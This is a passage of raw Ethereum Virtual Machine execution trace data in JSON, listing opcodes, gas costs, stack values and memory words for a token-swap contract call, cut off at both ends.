668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8748,"op":"SWAP1","gas":106306,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xc50dfd48a20630e6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2bda54fce7dbfc916a32","0x12fb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8749,"op":"SWAP6","gas":106303,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xc50dfd48a20630e6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x12fb","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8750,"op":"POP","gas":106300,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8751,"op":"SWAP4","gas":106298,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x12fb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8752,"op":"POP","gas":106295,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x12fb","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8753,"op":"POP","gas":106293,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x12fb","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8754,"op":"POP","gas":106291,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x12fb","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8755,"op":"POP","gas":106289,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x12fb","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8756,"op":"JUMP","gas":106287,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x12fb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4859,"op":"JUMPDEST","gas":106279,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4860,"op":"PUSH1","gas":106278,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4862,"op":"PUSH1","gas":106275,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4864,"op":"PUSH1","gas":106272,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4866,"op":"SHL","gas":106269,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x1","0x1","0x70"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4867,"op":"SUB","gas":106266,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x1","0x10000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4868,"op":"AND","gas":106263,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4869,"op":"SWAP2","gas":106260,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4870,"op":"POP","gas":106257,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4871,"op":"PUSH1","gas":106255,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4873,"op":"PUSH1","gas":106252,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4875,"op":"PUSH1","gas":106249,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":4877,"op":"SHL","gas":106246,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1","0x1","0x70"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000